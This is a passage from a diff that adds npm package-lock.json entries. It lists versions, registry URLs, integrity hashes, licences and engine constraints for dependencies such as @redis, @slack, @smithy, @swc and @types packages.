+ "license": "BSD-3-Clause", + "optional": true + }, + "node_modules/@protobufjs/path": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@protobufjs/path/-/path-1.1.2.tgz", + "integrity": "sha512-6JOcJ5Tm08dOHAbdR3GrvP+yUUfkjG5ePsHYczMFLq3ZmMkAD98cDgcT2iA1lJ9NVwFd4tH/iSSoe44YWkltEA==", + "license": "BSD-3-Clause", + "optional": true + }, + "node_modules/@protobufjs/pool": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@protobufjs/pool/-/pool-1.1.0.tgz", + "integrity": "sha512-0kELaGSIDBKvcgS4zkjz1PeddatrjYcmMWOlAuAPwAeccUrPHdUqo/J6LiymHHEiJT5NrF1UVwxY14f+fy4WQw==", + "license": "BSD-3-Clause", + "optional": true + }, + "node_modules/@protobufjs/utf8": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@protobufjs/utf8/-/utf8-1.1.2.tgz", + "integrity": "sha512-b1UQwcEZ4yCnMCD8DAL1VlbvBJE9/IX4FTIp7BG1xYpf29SLazLSrqUkj4w7Y5y7cCVP6E5tcqqcI0xemPkHug==", + "license": "BSD-3-Clause", + "optional": true + }, + "node_modules/@redis/bloom": { + "version": "5.12.1", + "resolved": "https://registry.npmjs.org/@redis/bloom/-/bloom-5.12.1.tgz", + "integrity": "sha512-PUUfv+ms7jgPSBVoo/DN4AkPHj4D5TZSd6SbJX7egzBplkYUcKmHRE8RKia7UtZ8bSQbLguLvxVO+asKtQfZWA==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 18.19.0" + }, + "peerDependencies": { + "@redis/client": "^5.12.1" + } + }, + "node_modules/@redis/client": { + "version": "5.12.1", + "resolved": "https://registry.npmjs.org/@redis/client/-/client-5.12.1.tgz", + "integrity": "sha512-7aPGWeqA3uFm43o19umzdl16CEjK/JQGtSXVPevplTaOU3VJA/rseBC1QvYUz9lLDIMBimc4SW/zrW4S89BaCA==", + "license": "MIT", + "optional": true, + "dependencies": { + "cluster-key-slot": "1.1.2" + }, + "engines": { + "node": ">= 18.19.0" + }, + "peerDependencies": { + "@node-rs/xxhash": "^1.1.0", + "@opentelemetry/api": ">=1 <2" + }, + "peerDependenciesMeta": { + "@node-rs/xxhash": { + "optional": true + }, + "@opentelemetry/api": { + "optional": true + } + } + }, + "node_modules/@redis/json": { + "version": "5.12.1", + "resolved": "https://registry.npmjs.org/@redis/json/-/json-5.12.1.tgz", + "integrity": "sha512-eOze75esLve4vfqDel7aMX08CNaiLLQS2fV8mpRN9NxPe1rVR4vQyYiW/OgtGUysF6QOr9ANhfxABKNOJfXdKg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 18.19.0" + }, + "peerDependencies": { + "@redis/client": "^5.12.1" + } + }, + "node_modules/@redis/search": { + "version": "5.12.1", + "resolved": "https://registry.npmjs.org/@redis/search/-/search-5.12.1.tgz", + "integrity": "sha512-ItlxbxC9cKI6IU1TLWoczwJCRb6TdmkEpWv05UrPawqaAnWGRu3rcIqsc5vN483T2fSociuyV1UkWIL5I4//2w==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 18.19.0" + }, + "peerDependencies": { + "@redis/client": "^5.12.1" + } + }, + "node_modules/@redis/time-series": { + "version": "5.12.1", + "resolved": "https://registry.npmjs.org/@redis/time-series/-/time-series-5.12.1.tgz", + "integrity": "sha512-c6JL6E3EcZJuNqKFz+KM+l9l5mpcQiKvTwgA3blt5glWJ8hjDk0yeHN3beE/MpqYIQ8UEX44ItQzgkE/gCBELQ==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 18.19.0" + }, + "peerDependencies": { + "@redis/client": "^5.12.1" + } + }, + "node_modules/@rollup/rollup-linux-x64-gnu": { + "version": "4.63.5", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.63.5.tgz", + "integrity": "sha512-3W9bTFcQNJn71cSJVM9RKIiZOy8DO/XLDii8Uv/Pm6WKqDRj7JV3ZfuXIEfyuy5LXpIzAbB/1M4Ukp9GKNa7nA==", + "cpu": [ + "x64" + ], + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@scalar/openapi-types": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/@scalar/openapi-types/-/openapi-types-0.8.0.tgz", + "integrity": "sha512-WmaxVSfvY5K/TwcG2B2TU1WOe1As1uc2s7myswtP6dBlcjU3hM08SApxv/jmyGaCE8t4gO5BBhmHY4pDUfmr2g==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=22" + } + }, + "node_modules/@sec-ant/readable-stream": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/@sec-ant/readable-stream/-/readable-stream-0.4.1.tgz", + "integrity": "sha512-831qok9r2t8AlxLko40y2ebgSDhenenCatLVeW/uBtnHPyhHOvG0C7TvfgecV+wHzIm5KUICgzmVpWS+IMEAeg==", + "license": "MIT" + }, + "node_modules/@simple-git/args-pathspec": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/@simple-git/args-pathspec/-/args-pathspec-1.0.4.tgz", + "integrity": "sha512-EtMX6XjRWSastG2SdkmSQByPtJ9dx/NIjnHbpQPCYt62j4RmSx5rgLTGpw0YCjF5h191gZOmBfheOT23cRSFdw==", + "license": "MIT" + }, + "node_modules/@simple-git/argv-parser": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@simple-git/argv-parser/-/argv-parser-1.1.1.tgz", + "integrity": "sha512-Q9lBcfQ+VQCpQqGJFHe5yooOS5hGdLFFbJ5R+R5aDsnkPCahtn1hSkMcORX65J2Z5lxSkD0lQorMsncuBQxYUw==", + "license": "MIT", + "dependencies": { + "@simple-git/args-pathspec": "^1.0.3" + } + }, + "node_modules/@sindresorhus/merge-streams": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@sindresorhus/merge-streams/-/merge-streams-4.0.0.tgz", + "integrity": "sha512-tlqY9xq5ukxTUZBmoOp+m61cqwQD5pHJtFY3Mn8CA8ps6yghLH/Hw8UPdqg4OLmFW3IFlcXnQNmo/dh8HzXYIQ==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@slack/logger": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/@slack/logger/-/logger-5.0.0.tgz", + "integrity": "sha512-VGXhmmgsAo9shdQYh4tFDndd+7nsgp0Y5h0UPDaUp8K359pBasI6YdkMqFW3mCOxLQkq09qj7o7cq6f3DuXcJQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "@types/node": ">=20" + }, + "engines": { + "node": ">= 20", + "npm": ">=9.6.4" + } + }, + "node_modules/@slack/types": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@slack/types/-/types-3.1.0.tgz", + "integrity": "sha512-bTzqrO3lxJ5iWedo1eJKNAs1koyEhaTwKLJUkD3KETnPeQvD978AAE4jvWstUws8Gbbc4JR6iYE6F7XjE8UGmw==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 20", + "npm": ">=9.6.4" + } + }, + "node_modules/@slack/web-api": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/@slack/web-api/-/web-api-8.1.1.tgz", + "integrity": "sha512-am/z/LLbEC7gNQp6FpaGT0l4XnWqcXetpwdgZHzS7Nbb96q9R9QwWA3lo0ZXGuAHDkct0MvFnouzuc2Y4XNmow==", + "license": "MIT", + "optional": true, + "dependencies": { + "@slack/logger": "^5.0.0", + "@slack/types": "^3.1.0", + "@types/node": ">=20", + "@types/retry": "0.12.5", + "eventemitter3": "^5.0.1", + "p-queue": "^6.6.2", + "p-retry": "^4.6.2", + "retry": "^0.13.1" + }, + "engines": { + "node": ">= 20", + "npm": ">=9.6.4" + } + }, + "node_modules/@smithy/config-resolver": { + "version": "4.7.2", + "resolved": "https://registry.npmjs.org/@smithy/config-resolver/-/config-resolver-4.7.2.tgz", + "integrity": "sha512-Y1XfSefHIOub9762qm3ShafdlEE/Va8h3kLUeMq765fNeWeNLcOP2YUPr86H1SlyGwZTOqQ67RlBZPZ3k9Djgg==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@smithy/core": "^3.33.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/core": { + "version": "3.35.0", + "resolved": "https://registry.npmjs.org/@smithy/core/-/core-3.35.0.tgz", + "integrity": "sha512-zRMhfkByhT2snNdr1si24vJitU6Cr9ix2MikUfWmkAgp4jrNP0GcKSP5YvwQ+TlI8AZXER5QOGJn3JsVtSD9/A==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@smithy/types": "^4.19.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/credential-provider-imds": { + "version": "4.5.2", + "resolved": "https://registry.npmjs.org/@smithy/credential-provider-imds/-/credential-provider-imds-4.5.2.tgz", + "integrity": "sha512-A9uSdn72ozbRUSit0eib0TW7nXuNPlaeM0zcGkJ+nE6tFcSDbnmtwoxbTCFBukVQcszDAyvsd7+rTduPTXpygg==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@smithy/core": "^3.33.2", + "@smithy/types": "^4.17.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/fetch-http-handler": { + "version": "5.8.0", + "resolved": "https://registry.npmjs.org/@smithy/fetch-http-handler/-/fetch-http-handler-5.8.0.tgz", + "integrity": "sha512-ycSJu3tFAQ4v04CBB0agqFMVsSQ1iG3yw+SpgxRqKfaURpQD4CZ8Wn0zPMmSnOuTpTh65Vz+EA0rMrw089wvkA==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@smithy/core": "^3.33.3", + "@smithy/types": "^4.18.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/hash-node": { + "version": "4.5.2", + "resolved": "https://registry.npmjs.org/@smithy/hash-node/-/hash-node-4.5.2.tgz", + "integrity": "sha512-OcD8fGClTkP0BWHVEAgUp1RZyCw8cKfqTPQ+DgrSF5jvR8zKkw2Aud79L4G/1Fu3QKLcsHExxRIPQCcKx7+xkg==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@smithy/core": "^3.33.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/invalid-dependency": { + "version": "4.5.2", + "resolved": "https://registry.npmjs.org/@smithy/invalid-dependency/-/invalid-dependency-4.5.2.tgz", + "integrity": "sha512-VONOgtCxIXtwXrLVZPUdxOELYpkFzNizkpbQE5CrJ/OEh12Osx+LVXsLEAF+JcvVqPODmUoOUaovlOjCQHTOow==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@smithy/core": "^3.33.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/node-config-provider": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/@smithy/node-config-provider/-/node-config-provider-4.6.2.tgz", + "integrity": "sha512-zMrXu/O5tPa7GLtra8L4wFG6DACcXT9QV4Ay+WEAjUhXm1dVq7c/q9Qv9gkJZNLY8hmQKg08778kDcxpKNMqOA==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@smithy/core": "^3.33.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/node-http-handler": { + "version": "4.12.1", + "resolved": "https://registry.npmjs.org/@smithy/node-http-handler/-/node-http-handler-4.12.1.tgz", + "integrity": "sha512-ThMkboGeONWXAelq9FvGsuJC4rOi+qyC4/zhUF58xYpxUg5sQKx2VXZYJmtNjr4dSuBJ1HeJXETQILCz3wOHvw==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@smithy/core": "^3.33.3", + "@smithy/types": "^4.18.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/protocol-http": { + "version": "5.6.2", + "resolved": "https://registry.npmjs.org/@smithy/protocol-http/-/protocol-http-5.6.2.tgz", + "integrity": "sha512-Asd04MaxODN6FNY8EPTeCAM4kPNi3jDUAjZU0Y4F9rHvpLUrrUo7KLcxFgSthywFr6dZfIyDLIJda6jxmVTk5w==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@smithy/core": "^3.33.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/signature-v4": { + "version": "5.7.4", + "resolved": "https://registry.npmjs.org/@smithy/signature-v4/-/signature-v4-5.7.4.tgz", + "integrity": "sha512-tHy0K0VtqNd5Y7Y41h0a0Lhh0L1GzC08dTWg0F7vRJWFtTENg7IZikf3wQkanYIRdb7ngoIPMTmqgUi401fEeQ==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@smithy/core": "^3.35.0", + "@smithy/types": "^4.19.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/types": { + "version": "4.19.0", + "resolved": "https://registry.npmjs.org/@smithy/types/-/types-4.19.0.tgz", + "integrity": "sha512-r7jh49VJxGerfAcTQA6gXcKc+98zOp/tqRwzYjgOE+iSQsP6cEU1hq2QzbuipmP68QtYdY9wKEhiCQZIzHgZ4Q==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@so-ric/colorspace": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/@so-ric/colorspace/-/colorspace-1.1.6.tgz", + "integrity": "sha512-/KiKkpHNOBgkFJwu9sh48LkHSMYGyuTcSFK/qMBdnOAlrRJzRSXAOFB5qwzaVQuDl8wAvHVMkaASQDReTahxuw==", + "license": "MIT", + "dependencies": { + "color": "^5.0.2", + "text-hex": "1.0.x" + } + }, + "node_modules/@socket.io/component-emitter": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@socket.io/component-emitter/-/component-emitter-3.1.2.tgz", + "integrity": "sha512-9BCxFwvbGg/RsZK9tjXd8s4UcwR0MWeFQ1XEKIQVVvAGJyINdrqKMcTRyLoK8Rse1GjzLV9cwjWV1olXRWEXVA==", + "license": "MIT" + }, + "node_modules/@stablelib/base64": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@stablelib/base64/-/base64-1.0.1.tgz", + "integrity": "sha512-1bnPQqSxSuc3Ii6MhBysoWCg58j97aUjuCSZrGSmDxNqtytIi0k8utUenAwTZN4V5mXXYGsVUI9zeBqy+jBOSQ==", + "license": "MIT" + }, + "node_modules/@standard-schema/spec": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz", + "integrity": "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w==", + "license": "MIT" + }, + "node_modules/@swc/core": { + "version": "1.16.2", + "resolved": "https://registry.npmjs.org/@swc/core/-/core-1.16.2.tgz", + "integrity": "sha512-95I4kiSMeveI/Mhi+tE4fiWcWLUMfzfKrk0jtr8LRMqHgOgq+xHS+zExkDqoO4b5OeeuXHMWVdD5MeP3X6sULw==", + "hasInstallScript": true, + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@swc/counter": "^0.1.3", + "@swc/types": "^0.1.28" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/swc" + }, + "optionalDependencies": { + "@swc/core-darwin-arm64": "1.16.2", + "@swc/core-darwin-x64": "1.16.2", + "@swc/core-linux-arm-gnueabihf": "1.16.2", + "@swc/core-linux-arm64-gnu": "1.16.2", + "@swc/core-linux-arm64-musl": "1.16.2", + "@swc/core-linux-ppc64-gnu": "1.16.2", + "@swc/core-linux-s390x-gnu": "1.16.2", + "@swc/core-linux-x64-gnu": "1.16.2", + "@swc/core-linux-x64-musl": "1.16.2", + "@swc/core-win32-arm64-msvc": "1.16.2", + "@swc/core-win32-ia32-msvc": "1.16.2", + "@swc/core-win32-x64-msvc": "1.16.2" + }, + "peerDependencies": { + "@swc/helpers": ">=0.5.17" + }, + "peerDependenciesMeta": { + "@swc/helpers": { + "optional": true + } + } + }, + "node_modules/@swc/core-darwin-arm64": { + "version": "1.16.2", + "resolved": "https://registry.npmjs.org/@swc/core-darwin-arm64/-/core-darwin-arm64-1.16.2.tgz", + "integrity": "sha512-i/j0HNbnn79qnTVPicvay92Nark8fW8NQqn1e2mGERjUXNpBV0+SwQxlRpk2zBhn6laJ8PDI6Kn1nHZhnz3LCA==", + "cpu": [ + "arm64" + ], + "license": "Apache-2.0 AND MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-darwin-x64": { + "version": "1.16.2", + "resolved": "https://registry.npmjs.org/@swc/core-darwin-x64/-/core-darwin-x64-1.16.2.tgz", + "integrity": "sha512-HrwqHyEyHVXO3qTk8EkNK7/b6sOZSEoNh+pot6RdE5x0LbNqfo8LtJUvi3UTXr+5ja/o5HbJdW80eCXo+NjbiA==", + "cpu": [ + "x64" + ], + "license": "Apache-2.0 AND MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-linux-arm-gnueabihf": { + "version": "1.16.2", + "resolved": "https://registry.npmjs.org/@swc/core-linux-arm-gnueabihf/-/core-linux-arm-gnueabihf-1.16.2.tgz", + "integrity": "sha512-MdXi83Z/gGp1LIrg+h7HKxiul/z/Bty/ZJSvYAFqDl9zteC1XLSAZdScquKtXPp50rdyXqritTDCqQBhwVfZKA==", + "cpu": [ + "arm" + ], + "license": "Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-linux-arm64-gnu": { + "version": "1.16.2", + "resolved": "https://registry.npmjs.org/@swc/core-linux-arm64-gnu/-/core-linux-arm64-gnu-1.16.2.tgz", + "integrity": "sha512-/jcTmK6Ktz3owM3YtiKvjofV6p3VpHnYzTIrOGwDIOsDigRAAVuZ8east33wYO/7UTdKYFlyHNnJNT0WJqOA3Q==", + "cpu": [ + "arm64" + ], + "libc": [ + "glibc" + ], + "license": "Apache-2.0 AND MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-linux-arm64-musl": { + "version": "1.16.2", + "resolved": "https://registry.npmjs.org/@swc/core-linux-arm64-musl/-/core-linux-arm64-musl-1.16.2.tgz", + "integrity": "sha512-4gFarKaFnlJTSlJYKmMhV4u+3YE4uYfiydpBoYjmgQhCf9lAieOq+WilZaK9vVSHeqLuQpTEiGULZqAdsRX5Dw==", + "cpu": [ + "arm64" + ], + "libc": [ + "musl" + ], + "license": "Apache-2.0 AND MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-linux-ppc64-gnu": { + "version": "1.16.2", + "resolved": "https://registry.npmjs.org/@swc/core-linux-ppc64-gnu/-/core-linux-ppc64-gnu-1.16.2.tgz", + "integrity": "sha512-syqSLGd6KlZ1PciNzs6bIUlhOuFztZufebOHaERjc4N4SqNZxyqYd4I+jj/EfOYnpe0kNjccn9HJLN1p5dz3+w==", + "cpu": [ + "ppc64" + ], + "libc": [ + "glibc" + ], + "license": "Apache-2.0 AND MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-linux-s390x-gnu": { + "version": "1.16.2", + "resolved": "https://registry.npmjs.org/@swc/core-linux-s390x-gnu/-/core-linux-s390x-gnu-1.16.2.tgz", + "integrity": "sha512-ZBBLK+ewGyXLzWeMS7wbKtWBdnif6etn7xvPY/iOfbdsjX/+bgkp1pQt2lWF2wlu2hXYZuhJ/tHZE/QR8/apzg==", + "cpu": [ + "s390x" + ], + "libc": [ + "glibc" + ], + "license": "Apache-2.0 AND MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-linux-x64-gnu": { + "version": "1.16.2", + "resolved": "https://registry.npmjs.org/@swc/core-linux-x64-gnu/-/core-linux-x64-gnu-1.16.2.tgz", + "integrity": "sha512-LyHJgxCA4Tje0ysBMbEb0tt/ie8kgUKoFE3JAKFhpevmTmhYEoC0H9s47WuDsqiFckF1ITUguZIXJG6K5e0dvg==", + "cpu": [ + "x64" + ], + "libc": [ + "glibc" + ], + "license": "Apache-2.0 AND MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-linux-x64-musl": { + "version": "1.16.2", + "resolved": "https://registry.npmjs.org/@swc/core-linux-x64-musl/-/core-linux-x64-musl-1.16.2.tgz", + "integrity": "sha512-PghXJlVM1cgtLfNUR1vxFo1z+PDRAe8cWAJlZZ7spmeiN7BospGXg/MHUg7oNSgwSX7Zo//YKv9P5yD9apsFJQ==", + "cpu": [ + "x64" + ], + "libc": [ + "musl" + ], + "license": "Apache-2.0 AND MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-win32-arm64-msvc": { + "version": "1.16.2", + "resolved": "https://registry.npmjs.org/@swc/core-win32-arm64-msvc/-/core-win32-arm64-msvc-1.16.2.tgz", + "integrity": "sha512-StTOSefYBxemvNYYUI3UmO1a8y+hSPjjfHogC2TEHL+Z1PlEBim/XtLas5rS04jAzT9RrNmbtX911SZ42H9jSQ==", + "cpu": [ + "arm64" + ], + "license": "Apache-2.0 AND MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-win32-ia32-msvc": { + "version": "1.16.2", + "resolved": "https://registry.npmjs.org/@swc/core-win32-ia32-msvc/-/core-win32-ia32-msvc-1.16.2.tgz", + "integrity": "sha512-fycER209DYIzsibpTMC+chND05OfOjgztWL9U8OE6/uUlsOUZH3eh98isBLEnOymYUhlJLEt5++W1+KL/FOh5Q==", + "cpu": [ + "ia32" + ], + "license": "Apache-2.0 AND MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/core-win32-x64-msvc": { + "version": "1.16.2", + "resolved": "https://registry.npmjs.org/@swc/core-win32-x64-msvc/-/core-win32-x64-msvc-1.16.2.tgz", + "integrity": "sha512-cSd1z6ivSrJPVr+moVwOHWjeKy6TpO4/Shwcv5KCrKYXCccxwh4pRy1C3fDioNx2PF1jPZWHKZjtXt+Be9VbaQ==", + "cpu": [ + "x64" + ], + "license": "Apache-2.0 AND MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=10" + } + }, + "node_modules/@swc/counter": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/@swc/counter/-/counter-0.1.3.tgz", + "integrity": "sha512-e2BR4lsJkkRlKZ/qCHPw9ZaSxc0MVUd7gtbtaB7aMvHeJVYe8sOB8DBZkP2DtISHGSku9sCK6T6cnY0CtXrOCQ==", + "license": "Apache-2.0", + "optional": true + }, + "node_modules/@swc/types": { + "version": "0.1.28", + "resolved": "https://registry.npmjs.org/@swc/types/-/types-0.1.28.tgz", + "integrity": "sha512-V6Mnml8v09QALx6K0elJ7o9K/MkVDtW3t6L+7Ou/JcWtb3xwId2AH4FeOceySd2JaO87IMw4+6vSZxLm34LPbw==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@swc/counter": "^0.1.3" + } + }, + "node_modules/@tokenizer/inflate": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/@tokenizer/inflate/-/inflate-0.4.1.tgz", + "integrity": "sha512-2mAv+8pkG6GIZiF1kNg1jAjh27IDxEPKwdGul3snfztFerfPGI1LjDezZp3i7BElXompqEtPmoPx6c2wgtWsOA==", + "license": "MIT", + "optional": true, + "dependencies": { + "debug": "^4.4.3", + "token-types": "^6.1.1" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, + "node_modules/@tokenizer/token": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/@tokenizer/token/-/token-0.3.0.tgz", + "integrity": "sha512-OvjF+z51L3ov0OyAU0duzsYuvO01PH7x4t6DJx+guahgTnBHkhJdG7soQeTSFLWN3efnHyibZ4Z8l2EuWwJN3A==", + "license": "MIT", + "optional": true + }, + "node_modules/@toon-format/toon": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/@toon-format/toon/-/toon-2.3.1.tgz", + "integrity": "sha512-sWqEMeAJGMda9qRrfPKrX3C4c33CO9SJuvJzzrcBEn5sbDB+k6pSLkDsfN0rVnLQwR97MV3sDgVbcxQNsq8xVw==", + "license": "MIT", + "optional": true + }, + "node_modules/@types/cors": { + "version": "2.8.19", + "resolved": "https://registry.npmjs.org/@types/cors/-/cors-2.8.19.tgz", + "integrity": "sha512-mFNylyeyqN93lfe/9CSxOGREz8cpzAhH+E93xJ4xWQf62V8sQ/24reV2nyzUWM6H6Xji+GGHpkbLe7pVoUEskg==", + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/debug": { + "version": "4.1.13", + "resolved": "https://registry.npmjs.org/@types/debug/-/debug-4.1.13.tgz", + "integrity": "sha512-KSVgmQmzMwPlmtljOomayoR89W4FynCAi3E8PPs7vmDVPe84hT+vGPKkJfThkmXs0x0jAaa9U8uW8bbfyS2fWw==", + "license": "MIT", + "optional": true, + "dependencies": { + "@types/ms": "*" + } + }, + "node_modules/@types/json-schema": { + "version": "7.0.15", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz", + "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", + "license": "MIT", + "peer": true + }, + "node_modules/@types/ms": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@types/ms/-/ms-2.1.0.tgz", + "integrity": "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==", + "license": "MIT", + "optional": true + }, + "node_modules/@types/node": { + "version": "26.6.3", + "resolved": "https://registry.npmjs.org/@types/node/-/node-26.6.3.tgz", + "integrity": "sha512-dsqMQQoeTLqu9wynDD00q573mNzso3IdQOAfHRJqLCcmCFPoGo9A1bDpUcv/9tnKpErQWv9uKeGfl37EIS02Yg==", + "license": "MIT", + "dependencies": { + "undici-types": "~8.9.0" + } + }, + "node_modules/@types/pegjs": { + "version": "0.10.6", + "resolved": "https://registry.npmjs.org/@types/pegjs/-/pegjs-0.10.6.tgz", + "integrity": "sha512-eLYXDbZWXh2uxf+w8sXS8d6KSoXTswfps6fvCUuVAGN8eRpfe7h9eSRydxiSJvo9Bf+GzifsDOr9TMQlmJdmkw==", + "license": "MIT", + "optional": true + }, + "node_modules/@types/retry": { + "version": "0.12.5", + "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.5.tgz", + "integrity": "sha512-3xSjTp3v03X/lSQLkczaN9UIEwJMoMCA1+Nb5HfbJEQWogdeQIyVtTvxPXDQjZ5zws8rFQfVfRdz03ARihPJgw==", + "license": "MIT", + "optional": true + }, + "node_modules/@types/tough-cookie": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/@types/tough-cookie/-/tough-cookie-4.0.5.tgz", + "integrity": "sha512-/Ad8+nIOV7Rl++6f1BdKxFSMgmoqEoYbHRpPcx3JEfv8VRsQe9Z4mCXeJBzxs7mbHY/XOZZuXlRNfhpVPbs6ZA==", + "license": "MIT", + "optional": true + }, + "node_modules/@types/triple-beam": { + "version": "1.3.5", + "resolved": "https://registry.npmjs.org/@types/triple-beam/-/triple-beam-1.3.5.tgz", + "integrity": "sha512-6WaYesThRMCl19iryMYP7/x2OVgCtbIVflDGFpWnb9irXI3UjYE4AzmYuiUKY1AJstGijoY+MgUszMgRxIYTYw==", + "license": "MIT" + }, + "node_modules/@types/webidl-conversions": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/@types/webidl-conversions/-/webidl-conversions-7.0.3.tgz", + "integrity": "sha512-CiJJvcRtIgzadHCYXw7dqEnMNRjhGZlYK05Mj9OyktqV8uVT8fD2BFOB7S1uwBE3Kj2Z+4UyPmFw/Ixgw/LAlA==", + "license": "MIT", + "optional": true + }, + "node_modules/@types/whatwg-url": { + "version": "13.0.0", + "resolved": "https://registry.npmjs.org/@types/whatwg-url/-/whatwg-url-13.0.0.tgz", + "integrity": "sha512-N8WXpbE6Wgri7KUSvrmQcqrMllKZ9uxkYWMt+mCSGwNc0Hsw9VQTW7ApqI4XNrx6/SaM2QQJCzMPDEXE058s+Q==", + "license": "MIT", + "optional": true, + "dependencies": { + "@types/webidl-conversions": "*" + } + }, + "node_modules/@types/ws": { + "version": "8.18.1", + "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.18.1.tgz", + "integrity": "sha512-ThVF6DCVhA8kUGy+aazFQ4kXQ7E1Ty7A3ypFOe0IcJV8O/M511G99AW24irKrW56Wt44yG9+ij8FaqoBGkuBXg==", + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@typespec/ts-http-runtime": { + "version": "0.3.9", + "resolved": 